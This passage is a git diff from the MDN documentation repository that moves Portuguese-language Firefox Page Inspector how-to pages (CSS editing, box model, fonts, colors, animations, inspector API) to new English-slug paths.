- -

- -

Consulte Work with animations para mais detalhes.

- -

Mostrar/ocultar painel CSS

- -

From Firefox 40 onwards, there's a button in the toolbar that you can use to show or hide the CSS pane:

- -

diff --git a/files/pt-pt/tools/page_inspector/how_to/abrir_o_inspetor/index.html b/files/pt-pt/tools/page_inspector/how_to/abrir_o_inspetor/index.html deleted file mode 100644 index 43385936ed..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/abrir_o_inspetor/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Abrir o Inspetor -slug: Tools/Page_Inspector/How_to/Abrir_o_inspetor -tags: - - Ferramentas - - Guía - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Open_the_Inspector ---- -
{{ToolsSidebar}}
- -

Existem dois modos principais para abrir o Inspetor:

- - - -

O 'Inspetor' irá aparecer no fundo da janela do navegador:

- -

Para começar a encontrar a sua direção em torno do Inspetor, consulte Guia de IU.

diff --git a/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html b/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html new file mode 100644 index 0000000000..fef74a5306 --- /dev/null +++ b/files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html @@ -0,0 +1,28 @@ +--- +title: Visualizar tipos de letra +slug: Tools/Page_Inspector/How_to/Visualizar_tipos_de_letra +tags: + - Ferramentas + - Guia(2) + - Inspetor +translation_of: Tools/Page_Inspector/How_to/Edit_fonts +--- +
{{ToolsSidebar}}

Dica da ferramenta da família do tipo de letra

+ +

Se passar o rato sobre uma propriedade da família do tipo de letra em visualizar Regras, irá obter uma dica de ferramenta com uma amostra desse tipo de letra:

+ +

+ +

Visualizar tipos de letra

+ +
+

Apenas na versão 47 do Firefox , a visualzaição dos Tipos de Letra está desativada por predefinição. Se pretender ver a visualização dos tipos de Letra na versão 47 do Firefox, visite about:config, encontre a preferência devtools.fontinspector.enabled, e defina-a para "true".

+ +

Antes e depois da versão 47 do Firefox, a visualização dos Tipos de letra está ativada por predefinição.

+
+ +

Em visualizar Tipos de Letra mostra todos os tipos de letra em utilziação pelo elemento selecionado. Note que esta mostra o tipo de letra utilizado no seu sistema, que poderá ser diferente dos tipos de letra especificados na CSS:

+ +

+ +

O texto em 'visualizar tipo de letra' é "Abc" por predefinição, e a partir da versão 41 do Firefox o texto da pré-visualização pode ser editado livremente.

diff --git a/files/pt-pt/tools/page_inspector/how_to/examinar_e_editar_css/index.html b/files/pt-pt/tools/page_inspector/how_to/examinar_e_editar_css/index.html deleted file mode 100644 index 5f0bd41323..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/examinar_e_editar_css/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: Examinar e editar CSS -slug: Tools/Page_Inspector/How_to/Examinar_e_editar_CSS -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS ---- -
{{ToolsSidebar}}

Pode examinar e editar CSS no painel de CSS do Inspetor.

- -

Examinar regras de CSS

- -

visualização de Regras lista todas regras que se aplicam ao elemento selecionado, ordenada pela mais específica para a menos específica:

- -

- -

The Rules view lists user-agent styles (styles applied by the browser) if the option to do so is checked in the developer tool settings. Note that this setting is independent of the "Browser styles" checkbox in the Computed view.

- -

The Rules view displays all authored styles, including styles that are not supported or that are invalid. This can help you understand why certain styles are not being applied:

- -

- -

Exibir regra

- -

It displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.

- -

- - - -

Starting in Firefox 52, if the element has a display: grid declaration, then it gets a grid icon next to it, like this: . Click that icon to display the grid overlaid on the page, including grid lines and tracks. See Examine grid layouts for more on this.

- -

User-agent styles are displayed with a different background, and the link to the filename and line number contains the prefix (user agent):

- -

- -

element {} rule

- -

The element {} rule at the top of the rules list isn't actually a CSS rule. It represents the CSS properties assigned to the element via its {{htmlattrxref("style")}} attribute.

- -

Starting in Firefox 52, this also gets the target icon: , giving you a convenient way to highlight the currently selected element in the page.

- -

{{EmbedYouTube("bQzOAFvEDco")}}

- -

Filtrar regras

- -

There's a box at the top of the Rules view labeled "Filter Styles":

- -

As you type:

- - - -

Click the "X" at the end of the search box to remove the filter.

- -
-

While in the Rules view, you can press Ctrl / Cmd + F to focus the search field. Once you've typed in a filter, you can press Esc to remove it again.

-
- -

{{EmbedYouTube("9w8vDIWqnAE")}}

- - - -

By default, the search box highlights all declarations which contain any part of the string. For example, searching for "color" will highlight declarations containing border-bottom-color and background-color as well as just color.:

- -

- -

If you enclose the search query in ticks, like this: `color`, the search is restricted to exact matches:

- -

- -

Expanding shorthand properties

- -

Shorthand properties can be expanded to display their related longhand properties by clicking the arrow besides them.

- -

Displaying pseudo-elements

- -

The Rule view displays the following pseudo-elements, if they are applied to the selected element:

- -

::after
- ::backdrop

- ::before
- ::first-letter
- ::first-line
- ::selection
- :-moz-color-swatch
- :-moz-number-spin-box
- :-moz-number-spin-down
- :-moz-number-spin-up
- :-moz-number-text
- :-moz-number-wrapper
- :-moz-placeholder
- :-moz-progress-bar
- :-moz-range-progress
- :-moz-range-thumb
- :-moz-range-track
- :-moz-selection

- -

If the selected element has pseudo-elements applied to it, they are displayed before the selected element but hidden by a disclosure triangle:

- -

- -

Clicking the triangle displays them:

- -

- -

Setting :hover, :active, :focus

- -

There's a button to the right of the filter box:

- -

Click the button to see three checkboxes, which you can use to set the {{cssxref(":hover")}}, {{cssxref(":active")}} and {{cssxref(":focus")}} pseudo-classes for the selected element:

- -

This feature can also be accessed from the popup menu in the HTML view.

- -

If you set one of these pseudo-classes for a node, an orange dot appears in the markup view next to all nodes to which the pseudo-class has been applied:

- -

- -

Hiperligação para ficheiros CSS

- -

At the top right of each rule, the source filename and line number is displayed as a link: clicking it opens the file in the Style Editor.

- -

You can copy the location of the source file: right-click the link and select "Copy Location".

- -

The Inspector understands CSS source maps. That means that if you are using a CSS preprocessor that has support for source maps, and you've enabled source map support in the Style Editor settings, then the link will take you to the original source, not the generated CSS. Read more about CSS source map support in the Style Editor documentation.

- -

Obter ajuda para as propriedades de CSS

- -

If you context-click on a CSS property name in the Rules view, you can open a popup displaying help for that property from MDN:

- -

{{EmbedYouTube("ptVtAEOK7y4")}}

- -

Note that for the moment, this doesn't cache responses from MDN, so it requires network connectivity.

- -

Overridden declarations

- -

If a CSS declaration is overridden by some other CSS rule with a greater weight, then the declaration is shown with a line through it.

- -

Overridden declarations have a magnifying glass next to them. Click the magnifying glass to filter the rule view to show only the rules applying to the current node that try to set the same property: that is, the complete cascade for the given property.

- -

This makes it easy to see which rule is overriding the declaration:

- -

{{EmbedYouTube("i9mDVjJAGwQ")}}

- -

Examinar CSS computada

- -

To see the complete computed CSS for the selected element, switch to the Computed view. This shows the calculated value that each CSS property has for the selected element:

- -

- -

You can Tab through them to select them, and from Firefox 49 onwards, you can find more information about these properties — pressing F1 on a selected property will open up its MDN reference page.

- -

Clicking the arrow next to the property name (or pressing Enter or Space while it is selected) shows the rule that set this value, along with a link to the source filename and line number:

- -

- -

By default, this view only shows values that have been explicitly set by the page: to see all values, click the "Browser styles" box. You can Tab through the filenames/line numbers; pressing Enter/Return will open up the relevant file at that point in the Style Editor.

- -

Typing in the search box performs a live filtering of the list, so, for example, if you just want to see font-related settings, you can type "font" in the search box, and only properties with "font" in the name will be listed. You can also search for the values of properties: to find the rule responsible for setting the font to "Lucida Grande", type that in the search box.

- -
-

While in the Computed view, you can press Ctrl / Cmd + F to focus the search field. Once you've typed in a filter, you can press Esc to remove it again.

-
- -

Editar regras

- -

If you click on a declaration or a selector in the Rules view you can edit it and see the results immediately. You can also Tab through the different existing properties and values, and start editing them by pressing Enter or Space. To add a new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace).

- -

As you start typing a property name, you'll see a list of autocomplete suggestions. Press Tab to accept the current suggestion or Up and Down to move through the list. The default choice is the most common property that starts with the letters you've typed. For example, here the user has typed "c" and the default choice is "color":

- -

- -

If you enter an invalid value for a property when editing it, or an unknown property name, a yellow alert icon appears besides the declaration.

- -

Any changes you make are temporary: reloading the page will restore the original styling.

- -

You can use the arrow keys to increase/decrease numeric rules while editing. The Up arrow will turn "1px" to 2px, and Shift + Up/Down will increment by 10. Alt + Up/Down change values by 0.1, and Shift + Page up/Page down will add or subtract 100 from the value.

- -

Edits that you make in the Rules view are reflected in the Style Editor, and vice versa.

- -

Starting in Firefox 52, if you're editing CSS, the context menu you'll see is the normal one for working with editable text:

- -

- -

Adicionar regras

- -

You can add new rules in the Rules view. Just right-click to show the context menu and select "Add rule". This will add a new CSS rule whose selector matches the currently selected node.

- -

- -

There's also a button that enables you to do the same thing:

- -

- -

Copiar regras

- -

To copy rules, and pieces of rules, use one of the following context menu items in the Rules view:

- - - -

- -

Consultar também

- - diff --git a/files/pt-pt/tools/page_inspector/how_to/examinar_e_editar_o_modelo_de_caixa/index.html b/files/pt-pt/tools/page_inspector/how_to/examinar_e_editar_o_modelo_de_caixa/index.html deleted file mode 100644 index 0b8815816b..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/examinar_e_editar_o_modelo_de_caixa/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Examinar e editar o modelo de caixa -slug: Tools/Page_Inspector/How_to/Examinar_e_editar_o_modelo_de_caixa -tags: - - Ferramentas - - Guia(2) -translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model ---- -
{{ToolsSidebar}}

Visualização do modelo de caixa

- -

Com o botão de selecionar Elemento pressionado, se passar o rato por cima de um elemento na página, é mostrado o modelo de caixa para o elemento sobreposto na página:

- -

{{EmbedYouTube("vDRzN-svJHQ")}}

- -

Também é mostrado sobreposto se passar com o rato sobre uma marcação de elemento no painel de HTML:

- -

{{EmbedYouTube("xA4IxTttNLk")}}

- -

Se o elemento está em linha e é dividido em várias caixas de linha, o marcador mostra a cada caixa de linha individual que formam o elemento:

- -

- -

A visualização do Modelo de Caixa

- -

Quando é selecionado um elemento, pode obter uma visão detalhada do modelo na visualização do Modelo de Caixa:

- -

- -

Se passar o rato sobre um valor, verá uma dica de ferramenta a dizer qual é a regra que o valor provém de:

- -

- -

Se passar o rato sobre uma parte do modelo de caixa na visualização do Modelo de Caixa, a parte correspondente da página é realçada:

- -

{{EmbedYouTube("H3ZxRbbyfwI")}}

- -

Edição do modelo de caixa

- -

Também pode editar os valores na visualização do Modelo de Caixa, e ver os resultados imediatatamente na página:

- -

{{EmbedYouTube("gHjDjM8GJ9I")}}

diff --git a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html new file mode 100644 index 0000000000..5f0bd41323 --- /dev/null +++ b/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html @@ -0,0 +1,223 @@ +--- +title: Examinar e editar CSS +slug: Tools/Page_Inspector/How_to/Examinar_e_editar_CSS +tags: + - Ferramentas + - Guia(2) + - Inspetor +translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS +--- +
{{ToolsSidebar}}

Pode examinar e editar CSS no painel de CSS do Inspetor.

+ +

Examinar regras de CSS

+ +

visualização de Regras lista todas regras que se aplicam ao elemento selecionado, ordenada pela mais específica para a menos específica:

+ +

+ +

The Rules view lists user-agent styles (styles applied by the browser) if the option to do so is checked in the developer tool settings. Note that this setting is independent of the "Browser styles" checkbox in the Computed view.

+ +

The Rules view displays all authored styles, including styles that are not supported or that are invalid. This can help you understand why certain styles are not being applied:

+ +

+ +

Exibir regra

+ +

It displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.

+ +

+ + + +

Starting in Firefox 52, if the element has a display: grid declaration, then it gets a grid icon next to it, like this: . Click that icon to display the grid overlaid on the page, including grid lines and tracks. See Examine grid layouts for more on this.

+ +

User-agent styles are displayed with a different background, and the link to the filename and line number contains the prefix (user agent):

+ +

+ +

element {} rule

+ +

The element {} rule at the top of the rules list isn't actually a CSS rule. It represents the CSS properties assigned to the element via its {{htmlattrxref("style")}} attribute.

+ +

Starting in Firefox 52, this also gets the target icon: , giving you a convenient way to highlight the currently selected element in the page.

+ +

{{EmbedYouTube("bQzOAFvEDco")}}

+ +

Filtrar regras

+ +

There's a box at the top of the Rules view labeled "Filter Styles":

+ +

As you type:

+ + + +

Click the "X" at the end of the search box to remove the filter.

+ +
+

While in the Rules view, you can press Ctrl / Cmd + F to focus the search field. Once you've typed in a filter, you can press Esc to remove it again.

+
+ +

{{EmbedYouTube("9w8vDIWqnAE")}}

+ + + +

By default, the search box highlights all declarations which contain any part of the string. For example, searching for "color" will highlight declarations containing border-bottom-color and background-color as well as just color.:

+ +

+ +

If you enclose the search query in ticks, like this: `color`, the search is restricted to exact matches:

+ +

+ +

Expanding shorthand properties

+ +

Shorthand properties can be expanded to display their related longhand properties by clicking the arrow besides them.

+ +

Displaying pseudo-elements

+ +

The Rule view displays the following pseudo-elements, if they are applied to the selected element:

+ +

::after
+ ::backdrop

+ ::before
+ ::first-letter
+ ::first-line
+ ::selection
+ :-moz-color-swatch
+ :-moz-number-spin-box
+ :-moz-number-spin-down
+ :-moz-number-spin-up
+ :-moz-number-text
+ :-moz-number-wrapper
+ :-moz-placeholder
+ :-moz-progress-bar
+ :-moz-range-progress
+ :-moz-range-thumb
+ :-moz-range-track
+ :-moz-selection

+ +

If the selected element has pseudo-elements applied to it, they are displayed before the selected element but hidden by a disclosure triangle:

+ +

+ +

Clicking the triangle displays them:

+ +

+ +

Setting :hover, :active, :focus

+ +

There's a button to the right of the filter box:

+ +

Click the button to see three checkboxes, which you can use to set the {{cssxref(":hover")}}, {{cssxref(":active")}} and {{cssxref(":focus")}} pseudo-classes for the selected element:

+ +

This feature can also be accessed from the popup menu in the HTML view.

+ +

If you set one of these pseudo-classes for a node, an orange dot appears in the markup view next to all nodes to which the pseudo-class has been applied:

+ +

+ +

Hiperligação para ficheiros CSS

+ +

At the top right of each rule, the source filename and line number is displayed as a link: clicking it opens the file in the Style Editor.

+ +

You can copy the location of the source file: right-click the link and select "Copy Location".

+ +

The Inspector understands CSS source maps. That means that if you are using a CSS preprocessor that has support for source maps, and you've enabled source map support in the Style Editor settings, then the link will take you to the original source, not the generated CSS. Read more about CSS source map support in the Style Editor documentation.

+ +

Obter ajuda para as propriedades de CSS

+ +

If you context-click on a CSS property name in the Rules view, you can open a popup displaying help for that property from MDN:

+ +

{{EmbedYouTube("ptVtAEOK7y4")}}

+ +

Note that for the moment, this doesn't cache responses from MDN, so it requires network connectivity.

+ +

Overridden declarations

+ +

If a CSS declaration is overridden by some other CSS rule with a greater weight, then the declaration is shown with a line through it.

+ +

Overridden declarations have a magnifying glass next to them. Click the magnifying glass to filter the rule view to show only the rules applying to the current node that try to set the same property: that is, the complete cascade for the given property.

+ +

This makes it easy to see which rule is overriding the declaration:

+ +

{{EmbedYouTube("i9mDVjJAGwQ")}}

+ +

Examinar CSS computada

+ +

To see the complete computed CSS for the selected element, switch to the Computed view. This shows the calculated value that each CSS property has for the selected element:

+ +

+ +

You can Tab through them to select them, and from Firefox 49 onwards, you can find more information about these properties — pressing F1 on a selected property will open up its MDN reference page.

+ +

Clicking the arrow next to the property name (or pressing Enter or Space while it is selected) shows the rule that set this value, along with a link to the source filename and line number:

+ +

+ +

By default, this view only shows values that have been explicitly set by the page: to see all values, click the "Browser styles" box. You can Tab through the filenames/line numbers; pressing Enter/Return will open up the relevant file at that point in the Style Editor.

+ +

Typing in the search box performs a live filtering of the list, so, for example, if you just want to see font-related settings, you can type "font" in the search box, and only properties with "font" in the name will be listed. You can also search for the values of properties: to find the rule responsible for setting the font to "Lucida Grande", type that in the search box.

+ +
+

While in the Computed view, you can press Ctrl / Cmd + F to focus the search field. Once you've typed in a filter, you can press Esc to remove it again.

+
+ +

Editar regras

+ +

If you click on a declaration or a selector in the Rules view you can edit it and see the results immediately. You can also Tab through the different existing properties and values, and start editing them by pressing Enter or Space. To add a new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace).

+ +

As you start typing a property name, you'll see a list of autocomplete suggestions. Press Tab to accept the current suggestion or Up and Down to move through the list. The default choice is the most common property that starts with the letters you've typed. For example, here the user has typed "c" and the default choice is "color":

+ +

+ +

If you enter an invalid value for a property when editing it, or an unknown property name, a yellow alert icon appears besides the declaration.

+ +

Any changes you make are temporary: reloading the page will restore the original styling.

+ +

You can use the arrow keys to increase/decrease numeric rules while editing. The Up arrow will turn "1px" to 2px, and Shift + Up/Down will increment by 10. Alt + Up/Down change values by 0.1, and Shift + Page up/Page down will add or subtract 100 from the value.

+ +

Edits that you make in the Rules view are reflected in the Style Editor, and vice versa.

+ +

Starting in Firefox 52, if you're editing CSS, the context menu you'll see is the normal one for working with editable text:

+ +

+ +

Adicionar regras

+ +

You can add new rules in the Rules view. Just right-click to show the context menu and select "Add rule". This will add a new CSS rule whose selector matches the currently selected node.

+ +

+ +

There's also a button that enables you to do the same thing:

+ +

+ +

Copiar regras

+ +

To copy rules, and pieces of rules, use one of the following context menu items in the Rules view:

+ + + +

+ +

Consultar também

+ + diff --git a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html b/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html new file mode 100644 index 0000000000..0b8815816b --- /dev/null +++ b/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html @@ -0,0 +1,41 @@ +--- +title: Examinar e editar o modelo de caixa +slug: Tools/Page_Inspector/How_to/Examinar_e_editar_o_modelo_de_caixa +tags: + - Ferramentas + - Guia(2) +translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model +--- +
{{ToolsSidebar}}

Visualização do modelo de caixa

+ +

Com o botão de selecionar Elemento pressionado, se passar o rato por cima de um elemento na página, é mostrado o modelo de caixa para o elemento sobreposto na página:

+ +

{{EmbedYouTube("vDRzN-svJHQ")}}

+ +

Também é mostrado sobreposto se passar com o rato sobre uma marcação de elemento no painel de HTML:

+ +

{{EmbedYouTube("xA4IxTttNLk")}}

+ +

Se o elemento está em linha e é dividido em várias caixas de linha, o marcador mostra a cada caixa de linha individual que formam o elemento:

+ +

+ +

A visualização do Modelo de Caixa

+ +

Quando é selecionado um elemento, pode obter uma visão detalhada do modelo na visualização do Modelo de Caixa:

+ +

+ +

Se passar o rato sobre um valor, verá uma dica de ferramenta a dizer qual é a regra que o valor provém de:

+ +

+ +

Se passar o rato sobre uma parte do modelo de caixa na visualização do Modelo de Caixa, a parte correspondente da página é realçada:

+ +

{{EmbedYouTube("H3ZxRbbyfwI")}}

+ +

Edição do modelo de caixa

+ +

Também pode editar os valores na visualização do Modelo de Caixa, e ver os resultados imediatatamente na página:

+ +

{{EmbedYouTube("gHjDjM8GJ9I")}}

diff --git a/files/pt-pt/tools/page_inspector/how_to/inspecionar_e_selecionar_cores/index.html b/files/pt-pt/tools/page_inspector/how_to/inspecionar_e_selecionar_cores/index.html deleted file mode 100644 index 1ababa4904..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/inspecionar_e_selecionar_cores/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Inspecionar e selecionar cores -slug: Tools/Page_Inspector/How_to/Inspecionar_e_selecionar_cores -tags: - - Ferramentas - - Guia(2) - - Inspetor -translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors ---- -
{{ToolsSidebar}}

Em visualizar Regras no Painel de CSS, se uma regra contém um valor de cor, irá ver uma amostra da da cor junto ao valor:

- -

- -

Se clicar na amostra de cor, verá uma janela para selecionar a cor, permitindo-lhe alterar a cor:

- -

- -

O selecionador de cores inclui um ícone 'conta-gotas': ao clicar neste ícone permite-lhe utilizar o 'conta-gotas' para selecionar uma nova cor para o elemento da página:

- -

{{EmbedYouTube("0Zx1TN21QOo")}}

- -

A partir da versão 40 do Firefox, ao clicar na amostra de cor enquanto mantém pressionada a tecla 'Shift' irá alterar o formato da cor:

- -

{{EmbedYouTube("gYL8-gxc1MA")}}

- -

A partir da versão 53 do Firefox e superior, este suporta os valores de cor de nível 4 de CSS (EN).

diff --git a/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html b/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html new file mode 100644 index 0000000000..1ababa4904 --- /dev/null +++ b/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html @@ -0,0 +1,26 @@ +--- +title: Inspecionar e selecionar cores +slug: Tools/Page_Inspector/How_to/Inspecionar_e_selecionar_cores +tags: + - Ferramentas + - Guia(2) + - Inspetor +translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors +--- +
{{ToolsSidebar}}

Em visualizar Regras no Painel de CSS, se uma regra contém um valor de cor, irá ver uma amostra da da cor junto ao valor:

+ +

+ +

Se clicar na amostra de cor, verá uma janela para selecionar a cor, permitindo-lhe alterar a cor:

+ +

+ +

O selecionador de cores inclui um ícone 'conta-gotas': ao clicar neste ícone permite-lhe utilizar o 'conta-gotas' para selecionar uma nova cor para o elemento da página:

+ +

{{EmbedYouTube("0Zx1TN21QOo")}}

+ +

A partir da versão 40 do Firefox, ao clicar na amostra de cor enquanto mantém pressionada a tecla 'Shift' irá alterar o formato da cor:

+ +

{{EmbedYouTube("gYL8-gxc1MA")}}

+ +

A partir da versão 53 do Firefox e superior, este suporta os valores de cor de nível 4 de CSS (EN).

diff --git a/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html b/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html new file mode 100644 index 0000000000..43385936ed --- /dev/null +++ b/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html @@ -0,0 +1,21 @@ +--- +title: Abrir o Inspetor +slug: Tools/Page_Inspector/How_to/Abrir_o_inspetor +tags: + - Ferramentas + - Guía + - Inspetor +translation_of: Tools/Page_Inspector/How_to/Open_the_Inspector +--- +
{{ToolsSidebar}}
+ +

Existem dois modos principais para abrir o Inspetor:

+ + + +

O 'Inspetor' irá aparecer no fundo da janela do navegador:

+ +

Para começar a encontrar a sua direção em torno do Inspetor, consulte Guia de IU.

diff --git a/files/pt-pt/tools/page_inspector/how_to/reposicao_de_elementos_na_pagina/index.html b/files/pt-pt/tools/page_inspector/how_to/reposicao_de_elementos_na_pagina/index.html deleted file mode 100644 index f565ca5bd4..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/reposicao_de_elementos_na_pagina/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Reposição de elementos na página -slug: Tools/Page_Inspector/How_to/Reposicao_de_elementos_na_pagina -translation_of: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page ---- -
{{ToolsSidebar}}
New in Firefox 48
- -

A partir da versão 48 do Firefox pode mover absolutamente os elementos posicionados, arrastando-os em redor da página.

- -

{{EmbedYouTube("Or5HM1FFhvE")}}

- -

Se um elemento tem a sua propriedade {{cssxref("position")}} definida para absoluta, relativa ou fixa e uma ou mais propriedades de {{cssxref("top")}}, {{cssxref("bottom")}} , {{cssxref("left")}} ou {{cssxref("right")}}, a visualização do Modelo de Caixa exibe um botão:

- -

- -

Se clicar nesse botão, aparecem dois pontos de apoio junto ao elemento:

- -

Example for changing the position of an element within the content

- -

Pode esses pontos de apoio para arrastar o elemento em redor da página.

- -

Se o elemento estiver absolutamente posicionado, as linhas tracejadas são mostrados a representar o deslocamento original. Para os elementos relativamente posicionados, as linhas tracejadas indicam a posição original do nodo. Os deslocamentos são indicados por uma linha e uma dica da ferramenta para cada lado.

diff --git a/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html b/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html new file mode 100644 index 0000000000..f565ca5bd4 --- /dev/null +++ b/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html @@ -0,0 +1,22 @@ +--- +title: Reposição de elementos na página +slug: Tools/Page_Inspector/How_to/Reposicao_de_elementos_na_pagina +translation_of: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page +--- +
{{ToolsSidebar}}
New in Firefox 48
+ +

A partir da versão 48 do Firefox pode mover absolutamente os elementos posicionados, arrastando-os em redor da página.

+ +

{{EmbedYouTube("Or5HM1FFhvE")}}

+ +

Se um elemento tem a sua propriedade {{cssxref("position")}} definida para absoluta, relativa ou fixa e uma ou mais propriedades de {{cssxref("top")}}, {{cssxref("bottom")}} , {{cssxref("left")}} ou {{cssxref("right")}}, a visualização do Modelo de Caixa exibe um botão:

+ +

+ +

Se clicar nesse botão, aparecem dois pontos de apoio junto ao elemento:

+ +

Example for changing the position of an element within the content

+ +

Pode esses pontos de apoio para arrastar o elemento em redor da página.

+ +

Se o elemento estiver absolutamente posicionado, as linhas tracejadas são mostrados a representar o deslocamento original. Para os elementos relativamente posicionados, as linhas tracejadas indicam a posição original do nodo. Os deslocamentos são indicados por uma linha e uma dica da ferramenta para cada lado.

diff --git a/files/pt-pt/tools/page_inspector/how_to/trabalhar_com_animacoes/index.html b/files/pt-pt/tools/page_inspector/how_to/trabalhar_com_animacoes/index.html deleted file mode 100644 index 6074a4f513..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/trabalhar_com_animacoes/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Trabalhar com animações -slug: Tools/Page_Inspector/How_to/Trabalhar_com_animacoes -translation_of: Tools/Page_Inspector/How_to/Work_with_animations ---- -
{{ToolsSidebar}}

Este artigo aborda três ferramentas que pode utilizar para visualizar e editar animações:

- - - -

Inspetor de animação

- -
-

Although this tool was introduced in Firefox 41, its UI was revamped in Firefox 43. This article describes the animation inspector as it appears in Firefox 43 and subsequent releases. If you want to see what the animation inspector looks like in Firefox 41 and 42, see this separate page.

-
- -

From Firefox 41, the Page Inspector includes an extra view labeled "Animations".

- -

This view displays CSS transitions and CSS animations synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.

- -

To see how it works, we'll walk through an example. The box below contains three grayscale icons, each representing a different Firefox channel. If you click an icon, the icon enlarges and changes to color, and the name of the channel appears. Click the icon again to reverse the effect. These animations are made by applying transitions to several CSS properties.

- -

{{ EmbedLiveSample('firefox-logo-animation', 500, 250, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animations_examples") }}

- -

Let's use the animation inspector to see what's going on in this example.

- - - -

{{EmbedYouTube("U2eJYacf5XY")}}

- -

Now play the animation:

- -

{{EmbedYouTube("CwXXXEllB3o")}}

- -

Let's take a closer look at the contents of the animation inspector here:

- -

- -

It shows a synchronized timeline for every CSS property transition involved in the animation. The timeline starts at the start of the first transition, and ends at the end of the last transition, and is labeled with markers every 100 milliseconds (this depends on the time scale of the animations currently displayed). You can see that the example above takes 735 milliseconds to run.

- -

Cada animação ou transição é mostrada como uma barra horizontal disposta através da barra cronológica:

- - - -

To the left of each bar is a selector for the node that the animation applies to. If you hover over this selector, the node is highlighted in the page. Click the selector to select the node in the inspector.

- -

To the left of the selector is a "target" icon (). From Firefox 44, clicking this icon will lock the highlighter on the element.

- -

Aplicando tudo isto para o nosso exemplo, nós podemos ver que:

- - - -

Reprodução de animação

- -

No topo do inspetor de animação:

- - - -

Finally, if you click inside the bar at the top of the timeline, you get a scrubber that you can drag left and right to move backwards and forwards through the animation, and pinpoint exactly what's happening when:

- -

{{EmbedYouTube("1hqNaMsB48g")}}

- -

Editar @keyframes

- -

Quaisquer regras de @keyframes associadas com o elemento atualmente selecionado são exibibas na Visualização das Regras e são editáveis:

- -

{{EmbedYouTube("mDHtLK88ZW4")}}

- -

Editar funções de sincronização

- -

When you create a CSS animation you can specify a timing function: this determines the rate at which the animation progresses. One way to specify the timing function is with a cubic Bézier curve.

- -

Timing functions defined as cubic Bézier curves get an icon in the Rules view. If you click the icon you get a visual editor for the curve, enabling you to drag P1 and P2, and see the results in the page:

- -

{{EmbedYouTube("GW5-R2ewaqA")}}

- -

Esta funcionalidade utiliza o código fonte de Lea Verou’s cubic-bezier.com.

- -

O editor cúbico Bézier inclui um número de pré-ajustes, agrupados sob "Ease-in", "Ease-out", and "Ease-in-out":

- -

{{EmbedYouTube("Jx-J2Yy0aSg")}}

diff --git a/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html b/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html new file mode 100644 index 0000000000..ccfe9ea71b --- /dev/null +++ b/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html @@ -0,0 +1,43 @@ +--- +title: Utilizar a API do Inspetor +slug: Tools/Page_Inspector/How_to/Utilizar_a_API_do_Inspetor +tags: + - Ferramentas + - Inspetor + - Referência(2) +translation_of: Tools/Page_Inspector/How_to/Use_the_Inspector_API +--- +
{{ToolsSidebar}}

Firefox add-ons may access the following objects from the chrome://browser/content/devtools/inspector/inspector.xul context:

+ +

window.inspector

+ +

defined in inspector-panel.js. Attributes and functions:

+ + + +

Bindable events using on:

+ +

markuploaded

+ +

Called when the left panel has been refreshed, after page change.

+ +

ready

+ +

Called on first markuploaded.

+ +

pseudoclass

+ +

Called after toggle of a pseudoclass.

+ +

layout-change

+ +

"low-priority change event for things like paint and resize."

diff --git a/files/pt-pt/tools/page_inspector/how_to/utilizar_a_api_do_inspetor/index.html b/files/pt-pt/tools/page_inspector/how_to/utilizar_a_api_do_inspetor/index.html deleted file mode 100644 index ccfe9ea71b..0000000000 --- a/files/pt-pt/tools/page_inspector/how_to/utilizar_a_api_do_inspetor/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Utilizar a API do Inspetor -slug: Tools/Page_Inspector/How_to/Utilizar_a_API_do_Inspetor -tags: - - Ferramentas - - Inspetor - - Referência(2) -translation_of: Tools/Page_Inspector/How_to/Use_the_Inspector_API ---- -
